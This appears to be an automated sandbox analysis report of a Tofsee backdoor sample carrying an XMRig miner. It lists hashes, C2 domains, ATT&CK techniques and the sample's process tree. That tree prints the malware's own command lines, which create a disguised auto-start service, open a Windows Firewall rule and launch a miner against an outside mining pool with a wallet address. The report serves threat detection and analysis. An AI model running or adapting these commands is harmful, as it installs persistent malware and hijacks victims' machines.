Analysis

  • max time kernel
    152s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-11-2022 04:38

General

  • Target

    969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3.exe

  • Size

    147KB

  • MD5

    bf64cf006d94eea938529abb0e6b4ee8

  • SHA1

    2808b73fcee94aaaa39240549c616f1d97eb8839

  • SHA256

    969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3

  • SHA512

    a5d281994b61c3664cfa3d783a6f2fac17b57ac9a2fb01f69534f11dcc70ae2229a0ce7b1ce4dca2bb6ee5ae9f29f17dbcc11a721cc93ce7f0aa098a055bbf23

  • SSDEEP

    3072:qxHNuRGCqn5Si5hL5/SxJ4aOEnr8LUwHx/r0NfuCOD:iGGCEhd/IDr8QwHdr0Ah

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3.exe
    "C:\Users\Admin\AppData\Local\Temp\969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pxcajqdk\
      2⤵
        PID:956
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pmghemcj.exe" C:\Windows\SysWOW64\pxcajqdk\
        2⤵
          PID:1664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pxcajqdk binPath= "C:\Windows\SysWOW64\pxcajqdk\pmghemcj.exe /d\"C:\Users\Admin\AppData\Local\Temp\969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pxcajqdk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pxcajqdk
          2⤵
          • Launches sc.exe
          PID:1440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:664
      • C:\Windows\SysWOW64\pxcajqdk\pmghemcj.exe
        C:\Windows\SysWOW64\pxcajqdk\pmghemcj.exe /d"C:\Users\Admin\AppData\Local\Temp\969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1628
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1992

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pmghemcj.exe
        Filesize

        12.8MB

        MD5

        5008dcc597ea04a2bdca50ebf808e977

        SHA1

        9d24374c7ea2bb4d9ec3b7f108349d51f6cf7468

        SHA256

        e24db181cab59daeaa75c76656d1fec0d887a38088219c8b0608bf8e2b5b8b81

        SHA512

        a29ffb2e3a6c23293887747ebf3720eb944be81de99418d5acebeaee552ac6279b2edfe432b0b2268bf5d36babcc6ddb171b69e2d40bb44eb5d721a20d00ded9

      • C:\Windows\SysWOW64\pxcajqdk\pmghemcj.exe
        Filesize

        12.8MB

        MD5

        5008dcc597ea04a2bdca50ebf808e977

        SHA1

        9d24374c7ea2bb4d9ec3b7f108349d51f6cf7468

        SHA256

        e24db181cab59daeaa75c76656d1fec0d887a38088219c8b0608bf8e2b5b8b81

        SHA512

        a29ffb2e3a6c23293887747ebf3720eb944be81de99418d5acebeaee552ac6279b2edfe432b0b2268bf5d36babcc6ddb171b69e2d40bb44eb5d721a20d00ded9

      • memory/664-64-0x0000000000000000-mapping.dmp
      • memory/956-58-0x0000000000000000-mapping.dmp
      • memory/1104-62-0x0000000000000000-mapping.dmp
      • memory/1440-63-0x0000000000000000-mapping.dmp
      • memory/1492-77-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1492-74-0x00000000002AB000-0x00000000002BC000-memory.dmp
        Filesize

        68KB

      • memory/1564-61-0x0000000000000000-mapping.dmp
      • memory/1628-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1628-80-0x00000000018E0000-0x0000000001AEF000-memory.dmp
        Filesize

        2.1MB

      • memory/1628-98-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1628-95-0x0000000000240000-0x0000000000247000-memory.dmp
        Filesize

        28KB

      • memory/1628-92-0x00000000059D0000-0x0000000005DDB000-memory.dmp
        Filesize

        4.0MB

      • memory/1628-89-0x0000000000230000-0x0000000000235000-memory.dmp
        Filesize

        20KB

      • memory/1628-71-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1628-72-0x0000000000089A6B-mapping.dmp
      • memory/1628-86-0x0000000000200000-0x0000000000210000-memory.dmp
        Filesize

        64KB

      • memory/1628-83-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1628-78-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1664-59-0x0000000000000000-mapping.dmp
      • memory/1992-99-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1992-101-0x0000000000080000-0x0000000000171000-memory.dmp
        Filesize

        964KB

      • memory/1992-106-0x000000000011259C-mapping.dmp
      • memory/2024-55-0x000000000030B000-0x000000000031C000-memory.dmp
        Filesize

        68KB

      • memory/2024-56-0x00000000001B0000-0x00000000001C3000-memory.dmp
        Filesize

        76KB

      • memory/2024-54-0x0000000075F81000-0x0000000075F83000-memory.dmp
        Filesize

        8KB

      • memory/2024-67-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/2024-57-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/2024-65-0x000000000030B000-0x000000000031C000-memory.dmp
        Filesize

        68KB